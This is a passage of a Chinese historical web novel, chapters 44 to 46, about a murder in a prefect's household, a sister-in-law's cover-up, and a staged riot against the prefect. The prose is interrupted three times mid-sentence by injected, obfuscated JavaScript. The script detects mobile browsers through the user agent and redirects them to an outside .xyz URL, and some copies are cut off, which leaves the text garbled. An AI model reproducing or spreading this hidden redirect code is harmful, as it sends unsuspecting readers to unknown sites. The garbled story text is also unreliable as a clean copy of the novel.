“狗奴才！”刘从裕重重地踹了她一脚，才转头奔向吴四郎。 木槿闷哼一声，春雪则是迅速地翻身而起，又将木槿扶起来，低声道：“快，我们快走！我送你去和熙堂！” 刘从裕生平，从未像此刻这么气急败坏。 春雪扎的那一剪子用尽了全力，再加上那时吴四郎全然不防，那一剪子扎得极深，整个脖子都已变成了一个血窟窿，刘从裕蹲在他身前，看着眼前在地上一抽一抽的人，就像看着一条将死的鱼，他根本伸不出去手去碰他。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992666|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那两个小蹄子就在他眼皮子底下跑了出去，他也无心无力阻拦。 吴四郎死了！死在刺史府后宅！死在凝曦院西厢房！ 完了，吴家不会放过他的！武陵郡的杀手已埋伏下了，等吴家知道此事，杀了他大哥之后的第一件事定是回朗州剁了他！这份家业，老太太那些财富，最后都是三房的！他白忙活了！全完了！ 刘从裕瘫坐在地，各色场景交替在他眼前闪过，一时又想起坏他好事的春雪，恨得目眦欲裂，直至门外传来一声惊呼，他才醒过神来。 再说春雪和木槿二人互相搀扶，跌跌撞撞没命般地疯跑，一气跑出凝曦院，直奔和熙堂而去。 “春雪，谢谢！”待离了那院子，木槿才敢稍歇一口气，脚下虽不停步，但仍抽出了一些力气扭头向春雪道谢。 春雪对上木槿的眼神，这次没有闪躲，只是虚虚一笑，搀着木槿往前。 木槿以为她在害怕下药之事，喘着气宽慰道：“春雪，别怕，我知晓你定是被逼无奈。你放心，我们将此事呈明老夫人，二爷大逆不道，老夫人定会为我二人做主的！” “没用的，木槿！”春雪凄然一笑，摇头道，“木槿，没用的！此事是个死局，从二爷和二夫人找上我那一刻，我就注定是一死！” “怎会没用呢？二爷那些话，那药粉——” 春雪直接打断她：“木槿，你我可有人证？” 木槿脑中轰然一声响，紧绷着的那根弦终于断了！耳边的声音那么轻，却是那么重，一记一记敲得她心头钝痛：“木槿，我真是，真是想了很久很久，很久，真的，我是必死的！屋子里四个人，我若要救你，他二人或死或伤，必损一个，不管是谁，我都必死无疑。我若不救你，便是我与你俱亡，连个水花都激不起的那种！” “木槿，你知道吗，我想明白的那一刻，便晓得了，什么叫人如其名！春雪，春雪，雪到了春天可不就是要消亡的？” “我想清楚的那一日，本想一根绳子了解了自己，好歹干干净净地走，不必消融在二房那堆烂泥里！可我忍住了，我忍到今日，我要救你！我随二夫人嫁进这府里，替她鞍前马后无事不做，二房视我为草芥，他人避我如蛇蝎，只有你，只有你看到了我，看到我活在他夫妇二人的淫威之下，对我多有照拂。他们要害的人，是你啊！我死不打紧，我要救你啊！” 木槿走不动了，生死攸关时按下的眼泪此刻全涌了出来，她没力气往前走了。 春雪扬起一抹笑，一手撑着木槿前倾的身体，一手推着她的背，道：“木槿，快走，你进了和熙堂就安全了，快走！二爷和二夫人很快就会派人来拿我们的！走！” 像是为了印证春雪的话，她一说完，二人就听到身后传来纷乱的脚步声。 两人交握的手一紧，千钧一发之际，左侧的小道上又拐出两个人来。 是三房的蓝桥，和一个婆子！ 蓝桥不容二人开口，飞快地低语：“别说话，别问，要想活命，跟我走！”说完，冲那婆子使了一个眼色，那婆子立时上前，背起木槿就跑。 蓝桥拉起春雪的手，紧随其后，嘴里仍说着：“别愣着，跟我走呀！” 44. 第四十四章 春雪想不明白，谪仙般的三夫人为何会救她。 蓝桥也想不明白，自家夫人是如何料到木槿会遇险、又是缘何会出手相助，要知道，三房这些年可一直是置身事外的。 凝昕馆正房内，裴明霜看着欲言又止的蓝桥，眉梢一挑，道：“人送出去了？” 蓝桥点头，低声答道：“夫人放心，张伯亲自去办的。” “那就好，走吧，该咱们去和熙堂了！”裴明霜款款起身，一手搭在蓝桥腕上。 蓝桥实在忍不住，趁二人还没迈出房门，又低声问道：“夫人，婢子不明白，为何春雪一定得‘逃’？” 裴明霜停下脚步，伸手抚了抚鬓间步摇，道：“若是大伯今日在府上，春雪或有一线生机，可如今大伯不在，春雪非‘逃’不可。” 蓝桥还欲再问，裴明霜已经提步向前，道：“走吧，二房那对夫妇说不定已经赶去和熙堂化身苦主了，咱们可不能太晚！” 二人迈出门槛，蓝桥一声咳嗽，隔壁厢房的门帘起落，张婆子背着木槿闪了出来。 裴明霜微微偏头，看向她二人，道：“交待你们的话都记住了？” “夫人放心，老奴都记下了。”张婆子的声音沉稳有力，即使背上驮着一个人，也丝毫不见气喘。 木槿药效未过，仍是有气无力，她犹面露不解，最后问了一次：“三夫人，婢子不明白，为何不能说实话？” 裴明霜笑而不语。 蓝桥忙伏在木槿耳边，道：“木槿，别问了，你且信我家夫人就是。” “什么叫人不见了？”刘从裕气得将回话之人一脚踢翻在地。 那小厮打了个滚，又爬起来，战战兢兢地说道：“回二爷、二夫人，奴才带人一路追过去，真的不见木槿和春雪。我悄悄打听了，木槿还没回和熙堂呢。后园也都寻遍了，连石头缝里都扒拉过了，她们真的不见了！” “蠢材！蠢材！”刘从裕气得原地打转，又走上前去补了一脚，这回那小厮就势趴在地上，没敢起来。 郭云静惊魂甫定，她因担心西厢那边闹得太过，才离席前去查看。木槿性子刚烈，若是一气之下在凝曦院寻了短见，老夫人能饶了她儿子，定不会轻饶了自己！没曾想，一走到门边，见到的就是一个血人和瘫软在地的丈夫。 此时，夫妇二人将隔壁厢房锁了，坐在一墙之隔的屋内问话，郭云静仍不时瞟向那堵墙，仿佛那墙是透明的一样。 “还看？你还看？死到临头了，先想想怎么办吧！”刘从裕恼怒地俯身凑到郭云静脸前，握住对方肩头，就是一阵没轻没重地摇晃。 郭云静吃痛，忙去推他的手，一面推一面说：“你出的主意，你问我怎么办？” 两个随身丫鬟见状，只是惊慌地后退几步，无人敢上前分开二人。 郭云静余光瞄到小丫鬟的动作，心头闪过一句话，若是春雪在此，定会上前帮她的…… 就在郭云静觉得自己肩骨都要被捏碎之时，刘从裕忽松开了她，疯魔了一般，狂笑不已。郭云静忙趁机起身，连着后退几步，又怕刘从裕说出什么话来，转头将屋内另外三人挥退。那小厮连滚带爬地退了出去，两个丫鬟也是躲之不及。 刘从裕笑了一阵，听到关门声，才又转头恶狠狠地盯着郭云静，厉声问道：“是不是你？是不是你指使的？” 郭云静见他一脸要吃人的模样，心里既发怵又生气，急眉赤眼地回骂：“你发什么疯？！我可都是听你的摆布，这可是你说的万无一失！” “呵呵，好啊！你使出来的好人呐！你这丫鬟好算计啊！本来你我二人干干净净，可吴四郎一死，你我都逃不了干系！哈哈，好个鱼死网破、玉石俱焚呐！你们郭家的人倒是有两下子！” “你，你，胡说什么！这事跟我有什么关系？”郭云静也急了，急于撇清自己，“她们可都看见了，我吩咐人送走了木槿！我一个内宅妇人，我怎知晓吴四郎为何会在凝曦院厢房！酒席还没散，我得将她们几个送回和熙堂，我，我先走了……” 郭云静说着，转身就往门边跑，刘从裕动作更快，一把抓住她。 “撒手，你给我撒手！你捏痛我了！”郭云静害怕起来，伸手与眼前的人推搡。 刘从裕到底是占据了体格优势，一把就将人提溜回椅子上，按住郭云静，嗓音阴沉：“夫妻一体，你急什么？！况且，他又不是死在我的手上，他死在春雪手上，你紧张个什么劲儿？” 郭云静停下挣扎，怔怔地看着眼前之人。 刘从裕捏住她的下巴，一字一顿地说道：“听好了，今日你在院中宴客，木槿喝醉了，你遣春雪送她回去，二人路遇潜入我刺史府后宅图谋不轨的吴四郎，吴四郎欲轻薄她二人，被她二人联手反杀。一会儿，你送八妹妹她们几个回和熙堂，在通往和熙堂的必经之路发现了吴四郎的尸体，你才知晓府里出了这等惊天大事！” “什么？我——”郭云静惊呼，才要说话，就被刘从裕伸出一指抵在唇边。 “你们一群女流之辈，何时在内宅之地见过尸首，这才叫来管家去报官！记住了，报官！而我，在此时才赶回府里。原来吴四郎今日来寻我，不想我出去喝酒了，他本该在外院等我的，谁也不晓得他为何会进到后院，又为何会死在那里！” 郭云静懵懵懂懂地点头，又摇头，道：“不对，吴家能信？木槿和春雪，她们又不是不长嘴，若她们说出今日之事，我们二人如何能脱得了干系？报官？我们就是官啊！大伯去了武陵郡——” “住嘴！不信又如何？人证物证俱在，谁敢冤枉我不成？春雪和木槿说的话，谁信？人命官司面前，我娘不信自己的儿子，当真信两个丫鬟？你以为她真是菩萨？”刘从裕的眼神愈发狠厉。 “春雪杀了人，让官府把春雪找出来啊，或打或杀，随他们处置！大哥去了武陵郡不假，可刺史不在，还有别驾呀，还有司马、长史，还有司法参军，报官，交由官府处置！打今日起，只要我不踏出刺史府一步，吴家就算再怀疑，难道还敢杀上门不成？走，你快回席上！把福宝叫进来！”福宝是方才挨了一脚的小厮。 郭云静仍停在那句“或打或杀，随他们处置”，她木然地被推出厢房，在游廊下被寒风一吹，才找回一丝残存的清明，可是，那也仅是在心里念了一句：春雪，你别怪我，我会给你多烧些纸钱的！ 裴明霜一行来到和熙堂时，里头果然是沸反盈天。 哭得撕心裂肺的吴十娘，吓得花容失色的刘九和虞七，震惊得五味杂陈的刘八，惊慌失措的刘二夫人，匆匆赶回、痛失好友的刘二爷，以及千头万绪的司法参军曹错，觉得天要塌了的朗州别驾虞思训。 是以，在看到裴明霜带来了木槿之后，各人的表情可谓是精彩纷呈。 刘母率先反应过来，看不出她是喜是悲，震惊盖过了一切情绪，她愕然地指着张婆子背上昏昏沉沉的木槿，颤声问道：“老三媳妇，这，这是怎么一回事？” 郭氏不禁心头一颤，三房怎么掺和进来了！刘从裕在她身旁，扶住她虚晃了一下的身体，握住她的手就是一捏。二人俱都手心发汗，刘从裕警惕地盯着自己的弟妹。 裴明霜却不看他二人，饶是已从木槿和春雪口中得知真相，她仍需第一眼就被堂内那白布盖着的人形“吓”了一跳，惊呼一声、后退一步，在蓝桥的搀扶下稳住身形，对着刘母说道：“母亲，儿媳方才带人巡视后园，在后门那儿看见两个人影，我瞧着她们鬼鬼祟祟的，便命张婆子上前查看。岂料，一人听到动静扔下另一人就跑了，儿媳领着张婆子和蓝桥追上去，发现被扔在地上的竟然是木槿！” “我们发现木槿时，她四肢无力、神志不清，像是中了迷药，我便只好让张婆子背着她，先送回和熙堂，另遣人去追那逃跑之人。方才，在院门外，派出去的人拦住我回话，道是一路追出了后门，那人蹿到街上不见了，看背影倒有几分像是二嫂身边的春雪！” “迷药？”曹错皱着眉头，对着裴氏略一拱手，道，“三夫人，可否容卑职查看一二？” 裴明霜往边上一让，曹错径直走上前，提起木槿的右手把脉数息，又检视了一下她的口鼻，才看向虞思训和刘母，道：“确是像中了迷药的模样，只是，最好找个大夫再验验。” 他话音才落，就有三房的丫鬟在门外禀报：“三夫人，您先前吩咐请的大夫来了。” 见众人的目光都落在自己身上，裴明霜对着刘母欠身解释：“木槿这副样子，我也不放心，当即让人去请了大夫。母亲，你看，是不是先将木槿安置妥当？” “是，是！”刘母扭头，喊道，“木樨，你领人将木槿送回你们的屋子，听大夫怎么说，再来回话。” 张婆子背着木槿随木樨去了。 屋内众人的视线又重新落到那具白布裹着的尸身上，吴十娘的哭声再次响起。 裴明霜这才指着地上的人形，开口询问：“这是？” 刘从裕掐了一下郭云静的手心，冲她使了个眼色，才松开她的手。 郭云静忙上前，对着刘母和虞思训，道：“母亲，虞别驾，可知我方才说的话一点不假，几位妹妹都可作证，木槿真是喝醉了，我让春雪送她回和熙堂，之后就再没见过她二人。若像方才三弟妹说的，那逃跑之人定是春雪无疑了！也不知这春雪是不是疯魔了，竟敢杀人！” “杀人？”裴明霜惊呼，难以置信地看向地上的尸首和哭着背过气去的吴十娘，“这，这该不会是吴……” “正是！弟妹有所不知，春雪丧心病狂，竟杀了吴四郎！”郭云静的话才落，闻讯而来的吴鸣夫妇就哭喊着冲进正堂。 “老夫人，婢子要通传的……”丫鬟的声音被淹没在吴夫人的一声声哭喊中。 “我的儿啊，我的儿啊！”吴夫人像一阵风似的刮了进来，哭倒在吴四郎的尸身之上。 虞思训此时只恨自己没跟刺史一同去武陵，他和曹错二人你看看我，我看看你，这案子不知该如何断，嫌犯不知该拿哪一个！ 刘府众人此时更不好开口了，人是死在他们府上，无论是非对错，他们气势都矮了三寸。 “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在郭氏想逃之际，裴明霜已经昂首向前几步站定，朗声说道：“吴将军节哀，此事确有蹊跷，譬如，吴四郎为何会潜入我刘府后宅，可是有何图谋？又比如……” “呸，你血口喷人！我儿都死了，你还说他有图谋！你这个毒妇！”吴夫人瘫坐在吴四郎的尸首旁边，指着裴明霜大骂。 裴明霜面色一冷，斜睨着吴夫人，道：“吴夫人，慎言！” 吴夫人外强中干惯了，被裴明霜的眼神一吓，又不敢继续骂了，低头继续哭。 吴鸣却是冷笑连连，道：“刘三夫人倒是巧舌如簧！” 裴明霜亦是轻笑出声，道：“吴将军谬赞。不过，不管令郎因何而死，死在我刘府后宅确是不争的事实。死者为大，贵府治丧的一应花销，我刘府都担了！二位在我府上纠缠无益，还是早些回贵府发丧要紧。” “此案业已报官，我相信虞大人和曹参军定会查明真相，将凶手缉拿归案！吴将军即便信不过我，也该信虞大人和曹参军，即便信不过他们，也该信我大伯，不是吗？” 吴鸣怒瞪着说话之人，道：“哼，你少拿刘刺史压我！你们说是那丫鬟杀了人，又说她逃了，都是你们一面之词，我怎知你们没有将人藏在府中？” “就是就是，你们分明是包庇凶手，或许是那丫鬟知晓真相，你们藏起来灭口！”吴夫人赶紧帮腔。 裴明霜冷眼看着二人，道：“那二位想如何？” 吴鸣看一眼裴明霜，又看一眼刘母，高声说道：“我现在就要见那丫鬟！我要亲自问话！将人交出来，否则，莫怪我带人搜她出来！” “不可不可，吴老息怒，这可是刺史府！吴老请相信我，我定会将那潜逃的嫌犯抓回来的，届时亲自送去您府上，一同审理，您看可好？”搜刺史府？这都什么事啊！虞思训顾不上擦脑门上的细汗，赶紧上前劝架。 而曹错，也拔出了佩刀，做好了拦人的准备。刺史府的小厮，此刻也都棍棒在手，只等当家人一声令下，扑上去一场恶斗。 岂料，吴鸣并未将虞思训放在眼里，反手将人一推，拔出腰间佩剑，大喝道：“交人，或者搜府！哪怕是刘刺史在场，今日也得给老夫一个交代！” “你敢！吴鸣，你是当我死了吗？敢在我面前拔刀动剑的！”刘母怒喝。刘从裕和郭氏躲在她后头，像两只鹌鹑。 “哼，刘老夫人，莫怪我失礼！我也是有官阶在身的人，我儿死得不明不白，便是对峙到京城，老夫也要讨一番说法！” 吴鸣说着，提剑就要往后宅闯去。 “你敢！”又是一声暴喝，来自裴明霜。 只见裴明霜往吴鸣身前一站，恰恰站在剑锋所指之处，气势更甚。 而蓝桥，众人今日方知，蓝桥袖中竟能变出两把短剑，此刻她双手持剑，站在裴明霜右侧，一副但凡吴鸣的剑敢动一毫，她就敢飞身搏命的架势。 刘从丰闻讯赶来和熙堂时，一进院门，就听到自家夫人那一声凛然的“你敢”，夫人霸气！刘从丰心叹。 等他跑上正房的台阶，看到眼前的一幕时，再次惊叹，夫人威武！ 45. 第四十五章 裴明霜往前踏了一步，吴鸣竟被她的气势逼得后退了一步，而刘从丰也迅速地奔到了裴明霜身侧。 裴明霜只给了自家夫君一个眼风，就继续冷眼注视对面之人，檀口所吐之语嚣张至极：“吴鸣老贼，别以为旁人唤你一声将军，你就真把自己当回事了！一个不入流的散官，也敢在刺史府门前说你打过仗杀过敌！呵，笑话！你以为你是谁，十年前，山獠造反，你在壁州守城不力被贬之事，这么快就忘记了？今日倒是敢在我面前耍威风！呵，你耍得起来么！” “你，你——”吴鸣气得手抖声颤，“你”了半天也你不出个所以然来。 “在我面前提官阶，呵！你也配？我曾祖裴公寂，从高祖皇帝定天下，官至尚书左仆射，食邑四千户，武德四年享开炉铸钱之隆恩，我祖母乃太宗文皇帝亲妹、临海长公主，我姑母乃赵王妃，你是何人，敢在我面前提刀弄剑？！” 裴明霜又往前踏了一步，直逼得吴鸣连连后退，持剑的手已经不经意地在往后缩。 “我，我——” “你什么？别以为送个女儿给窦家做妾，你就是窦家的老丈人了！我告诉你，别说是你，今日便是窦家亲自来人，也休想踏进我刺史府后宅一步！” “哐当”一声，是曹错趁机上前抢过吴鸣佩剑、兵器落地之声。 虞思训见机，忙上前半搂住吴鸣，涕泪交加地劝道：“吴老，你要相信州府衙门，你不信我，也得信刘刺史啊！刺史向来公正严明，怎会包庇凶手？来来来，你与我同去衙门，亲眼看着我发海捕文书，好不好？” 虞思训是吓出来的眼泪，此刻半拉半推着吴鸣往外走，吴鸣虽满脸紫胀、羞怒交加，但也知时机未到，这刺史府，他今日是无论如何也闯不进去了，只好就坡下驴，由着虞思训将他拉走。 只在走出和熙堂院门时，他满心愤懑地朝地上啐了一口，心里发狠地骂了一句：且等着，走着瞧！ 屋内的吴夫人和吴十娘还处在震惊当中，裴明霜却已换了神色，一脸歉疚地让二人节哀。而蓝桥已经在吩咐门外的小厮去抬地上的担架，那厢，又有一个丫鬟上前递上一个匣子，裴明霜此时的话真诚又谦逊：“再多的银子也补不了夫人的心痛，令郎之事，我们难辞照管不周之责，这番小小心意，还请夫人收下，明日我们再另备奠仪、赴贵府吊唁。” 丈夫都已经被虞别驾哄着走了，自己还留下闹什么呢！吴夫人只好命人将匣子收了，带着吴十娘匆匆离去。 一出闹剧总算散场，和熙堂重归于静。 等正堂之内只余一家骨肉时，刘从丰忙上前携了裴明霜的手，舒气长叹：“夫人方才真霸气！只是那莽夫的剑着实吓人，夫人也是的，怎还往前走呢！我心都提到嗓子眼了！” 裴明霜笑了笑，还未答话，正首的坐榻之上传来咳嗽声。 刘从丰忙转身作揖，问道：“母亲受惊了，可要请大夫来开一剂安神汤药？” 这个三儿子，从进门到现在，满心满眼都是妻子，刘母心头自是有些不满，可一想到方才……罢了罢了，三房的后院清清静静不是没道理的，娶了裴氏这尊佛爷，儿子可不就得供着她！刘母咳了两声之后，才看向裴明霜，满脸慈爱地伸出一手，裴明霜笑着上前握住。 “想必那大夫已经看过木槿了，一会儿刚好让他给母亲请个平安脉，我们也好放心。”裴氏笑得一脸温和，说出的话却刚好提醒了刘母。 “是了，眼下没有外人，那迷药又是怎么一回事？去，去后头把木樨叫来！”刘母转头吩咐了一句，一个小丫鬟忙领命而去。 说完这句，刘母才眼神凌厉地射向刘从裕和郭氏，喝道：“跪下！” 二人才生出两分劫后余生的喜悦，就被刘母当头一喝，郭云静看着被刘母拉着同坐在榻上的妯娌，心有不甘，但也只得跟着刘从裕一齐跪在刘母榻前。 刘从裕心里更是百转千回，全然忘了他是这一切的始作俑者，方才吴鸣提剑时，他是真怕对方会不管不顾一剑刺向自己，不过短短半个时辰，他就经历了慌乱、恐惧，再到羡慕、嫉妒，此时跪在刘母身前，他垂着头，眼角飘过刘从丰夫妇二人的衣角，下摆交错重叠，他攥紧了袖中的拳头。 他娘还说不偏心，看看，世袭的刺史官职是老大的，豪强妻族是老三的，而自己呢，若不筹谋，自己将来能得到什么！ “说！到底怎么一回事！”刘母一声怒喝，打断夫妇二人各自的小心思。 “娘，我真不知情！八妹妹她们都是看见的，我将木槿交给春雪后，就没离开过凝曦院，我——”郭云静才说了两句，就换来刘母的一记眼刀子，生生地吞下了还未出口之狡辩。 刘母看看儿媳，又看看儿子，当着吴家人时，她自是不能怀疑自家儿子，只是正如裴氏所言，吴四郎一个外男，怎会凭空出现在后宅？偌大的刺史府，只老二与他交好，再想起今日郭氏设宴请客之举…… 刘母只是装糊涂，又不是真傻，这吴四郎到底怎么死的，跟二房定是脱不了干系！ 当然，刘母并不知晓，吴四郎之死只是意外，她的好儿子真正想弄死的人是她！此是后话，暂且不表。 刘母眼角余光扫到领命匆匆而来的木樨和大夫，只得先止住对他二人的问话，转向木樨，道：“木槿如何了？” 木樨忙将木槿情形回明，待说到迷药一茬时，忙道：“至于那药，还是让大夫说吧。” “那位姑娘的症状确实是中了迷药，只是那药古怪，老朽在朗州城内从未见过。方才老朽对着病人症状拟了解药方子，今日先服下一剂，若是明日卯时还未彻底清醒，贵府可再派人去西大街寻我。”大夫说完，又顿了一下。 “另外，那姑娘右手掌心的伤口虽小，但是都极深，此药膏留下，到戌时再为她抹上一遍，三日内伤口不要沾水即可。”说完，他从随身携带的药箱内掏出一个白瓷瓶子，木樨忙上前接了。 刘母在听到迷药不是从朗州来的时就蹙起了眉头，待听到木槿右掌还有伤时，不禁发出一声冷笑。 郭云静忍不住垂头一颤。 “我家老夫人今日受了些惊吓，烦请老先生再开一剂安神汤药。”裴明霜一脸关切地嘱咐。 刘母的冷笑收起，又化作一声轻叹，她拍拍裴明霜的手背，温声说道：“不用请脉了，我没事的。别担心，我一把年纪了，什么风浪没见过。” 蓝桥已极有眼色地将人请到隔间写方子抓药。 “木槿中的迷药是哪来的？总不能是春雪弄的吧？朗州城内都买不到的东西，她哪儿来那么大的本事？还有木槿手心的伤又是怎么一回事？你二人是要等大郎回来，动大刑审你们才说吗？孽障，竟敢在府里干出这等龌龊事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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刘从裕犹在演戏，嘴里咕咕嚷嚷地说着“推我做什么，让娘派人拿绳子把我绑了岂不更好”，但是脚下却很诚实，十分顺从地被刘从丰拉出了和熙堂。 等裴明霜安抚好了刘母，亲自将人扶上床榻，又亲手奉上参汤、喂了半碗，而后温声细语地吩咐丫鬟们去煎安神汤，直至刘母再三催促、让她回去歇息，她才离了和熙堂。 一场余波，又是小半个时辰过去了。 裴明霜带着蓝桥一跨出院门，才转了一个弯，刘从丰就迎了上来。 夜色掩映下的俊俏郎君笑得如春风化柳，吹得裴明霜心里极其舒坦。她看上的就是刘从丰的美色和不逐名利！她要的就是自家夫君满心满眼都是她和孩子！官职爵位必须留在大房，她才不要那些俗事扰了她夫妇二人的安宁！钱财不钱财的，她又不在乎！ “我在这等了你一刻钟，娘可睡了？”刘从丰上前携了裴明霜的手，夫妻二人双手交握着前行，蓝桥等人悄悄退了几步，隔着一丈的距离跟在二人身后。 “你等在外面做什么？怎不进去？”裴明霜颇觉好笑。 “夫人今日辛苦，我怕我一见了夫人，只想着夫人，又忘了娘，回头惹娘不高兴。”刘从丰一面说，一面改握为捏，为裴明霜轻轻揉捏着手臂，嘴上不忘为木槿抱不平，“二哥也忒不像话了，竟做出这种下作事！话说，这吴四郎也死得离奇，今日若非夫人，恐怕刺史府今夜无人能得安睡！” 裴明霜忽然脚下一滞。 刘从丰一个刹脚，忙问：“怎么了？” 只见裴明霜浅浅地勾起嘴角，道：“夫君，你得即刻写封信给大伯，让人星夜驰往，送至武陵郡！” 46. 第四十六章 朗州城内的消息送至武陵郡时，刘从俭一行下榻的小院正被不幸淹死在芷江的百姓家属围攻！ 此事还得从两日前说起。 刘从俭一行是在十六那日的傍晚抵达武陵郡的。为了便于走访线索、安抚百姓，刘从俭拒绝了郡守原本的起居安排，在紧邻郡守衙门的一个小院内住了下来，次日便领着萧举年等下属风风火火地巡视倒塌的河堤、提审去岁监修河堤的大小官吏、又亲去各家祭棚吊唁死者。 原本一切都进展顺利，衙门亲设灵堂，刘刺史到场祭奠，死者家属还得了一笔不小的烧埋银子，武陵郡的百姓也晓得，此事乃是意外，怪不到刘刺史头上，可一夜之间，不晓得是谁在人群中散播了消息，只道州里贪墨了监修河堤的银两才致元宵之祸！更有甚者，贪墨的元凶直指刘刺史！ 是以这日一早，群情激愤的百姓就层层匝匝地堵在小院门口，有煽风的，有点火的，有哭灵的，有喊打喊杀的，总之，群情失控，一副随时要冲进院门围殴刘刺史的架势。 闻讯赶来的武陵郡守等人，说破了嘴皮子也不能疏散人群，几个衙役才亮出刀剑，不料就有两个人怒气冲冲地冲上去缠斗，又有人呐喊助威，一声声高呼“刺史心虚了！要在武陵郡杀出一条血路了！咱们迟早都会被灭口！” 这一下，可把来讨说法的百姓点得更燃了，直吓得郡守束手无策，生怕来个“激起民变”的罪过，他可是收到了京中故旧的消息，江南西道的黜陟使已经启程了！ 片刻之后，已经有人开始撞门，小院内数人的处境竟透出了几分凶险！ 萧举年和几名刺史府的长随死死顶着门栓，刘从俭的眼底是翻滚的黑云。 青梧虽是丫鬟，可自幼长在刺史府深宅后院，哪里见过这等暴民，吓得说不出话来。只有胆大如秦秋，听到不时传进院子里的几声高呼，还能生出胆气跟刘从俭说话。 “大人，婢子听清了，外面那些喊话之人，说的都是官话，不像是本地的百姓！”秦秋皱着眉头。 “哼，本官也没聋！呵，好一招‘暴民犯上’，他们可真敢！”刘从俭冷哼，面无表情地盯着不远处的院门，隐隐可见其颤动。 萧举年一介书生，顶门这种活本就吃力，眼下又分神留意秦秋。他本想给秦秋一个安抚的眼神，让对方别怕，岂料一回头就见秦秋一脸严肃地凑到大人身边说话。萧举年忽觉头疼，小姑奶奶，这个时候你能不能躲进房里！ 秦秋指着西边那道矮墙，道：“翻过那道墙，就是衙门的练武堂，穿过去就到衙门前院了。” “我堂堂刺史，还不至于被几个暴民逼得跳墙而逃！”刘从俭面上带出了三分薄怒，他的愤怒自然不是对着秦秋，话一说完，他就扭头给了秦秋一个眼神，这丫鬟不是说废话之人，“怎么，你有何想法？” 秦秋笑了笑，手腕一翻掉转了方向，又指向门边的随从，正要开口，目光不经意地与萧举年撞上。 萧举年心跳加速，虽是隔着十来步的距离，可一门之隔的外面太吵了，他听不清二人的对话，眼里不禁流露出几分担忧，小姑奶奶，别瞎献计了，求求你了，老实躲一边去吧！ 秦秋似是读懂了他心中所想，又像是没读懂，她手稍微偏了偏方向，道：“让他二人搭成人梯，送我翻过去，我去郡衙门口击鼓鸣冤！” “击鼓鸣冤？”刘从俭重复着这四个字，忽然懂了，一直抿着的嘴角松了下来，“告谁？” 秦秋知晓刺史大人这是同意了，忙道：“不如直接告吴家？我看过河道监修的账册，账册里的所有猫腻都在我脑子里，不如让我真假参半地拎出几件？等我那边有了动静，大人这边再出去拿人。” 刘从俭沉吟片刻，忽然喊了一声：“举年！” 萧举年忙疾步跑至二人身前，他先扫了秦秋一眼，才对着刘从俭说道：“大人，属下听到郡守的声音，他正竭力安抚百姓，想来再等片刻——” 一语未了，刘从俭忽笑了一下，那笑极轻忽，转瞬即逝。 刘从俭指着秦秋，道：“你，助她翻过那道墙去。” 萧举年愣了，秦秋也愣了，只有刘从俭神色淡淡，道：“你二人定了亲事，当着他的面，让你踩着别人当人梯多少不合适。还不动手？等着激愤的百姓打进来吗？” 郡守衙门对面，一身常服的秦怀瑾隐在一户人家前庭的柱子后面，冷眼看着眼前的一切。 “大人，若真是因为这位刘刺史贪墨才致数十百姓伤亡，岂不就是开年大案了！”丁松感慨。 秦怀瑾轻轻摇头，道：“有蹊跷。我虽未见过这位刘刺史，但他素有官声，昨日我们查访河堤一案，也算跟了他一路，观他举止，不像。” 丁松抱臂，眼神扫过人群中喊得最响亮的那几个人，道：“那就更有趣了，那几个人看着就是练家子，不像是寻常百姓。” 秦怀瑾点头，道：“我还当你看不出来呢。” 丁松黑脸一红，挠挠头，道：“大人，练家子我有什么看不出来的！这些年我跟着大人巡视大小州县，见的案子也不少，我虽一介武夫，但也不至于那么笨！先前那话，不就是说着玩的嘛！大人，可要帮那位刘刺史？我看那位郡守笨笨的，一时半会儿疏散不了百姓。” “再等等看吧，刘刺史不至于这点事都摆平不了。” 秦怀瑾才说完这句，衙门口的堂鼓就被敲响了，不仅是丁松被吓了一跳，正在哭喊的百姓亦都为之一顿。 “冤枉啊！青天大老爷为民妇做主啊！冤枉啊！我要状告定远将军吴家！冤枉啊！吴家贪墨河堤银子！害死了我夫婿！大老爷为我做主啊！冤枉啊！” 秦秋一面奋力敲击着堂鼓，一面高呼，一时之间，武陵郡衙门方圆一里之地都回荡着秦秋的声音。那声声“冤枉啊！吴家贪墨，害死了我夫婿！”说是振聋发聩也不为过。小院内，两个长随同情地瞥了一眼萧录事，只见萧录事嘴角直抽搐！ “青天大老爷为我做主啊！我有证据！去年修河道时，供应砂石的何家我认识啊！大老爷啊！那是吴家的外家呀！吴家就是害死我夫婿的元凶啊！那何家本是做布匹生意的，莫名跑来修河道，有猫腻啊！” 秦秋喊的有鼻子有眼的，立时有不少百姓被吸引到了衙门口。 郡守愣愣的，抬脚便也想去看看，这女子哭得好生凄厉，得去主持公道！还是主簿拉了他一把，低声道：“大人，快呀，趁这个时候，快把刺史大人救出来！” “对对对！” 吴家人恨得牙痒痒，眼见着就要成事了，百姓在煽动之下几乎要与衙役动手，谁想半路杀出个人击鼓鸣冤，正要继续嚎两嗓子把人群喊回来，却都被秦秋喊出的话吓得一怔。 几人你看看我，我看看你，一时不知这女子是何来路，正有些茫然无措，小院的门却从里面打开了。 萧举年冲出门口一声大吼：“你们几个，对，就是你们几个，不是武陵郡百姓！我见过你们，你们是吴家的人！好啊，吴家贪墨银子，还敢祸水东引，愣着干什么，还不抓住他们！” 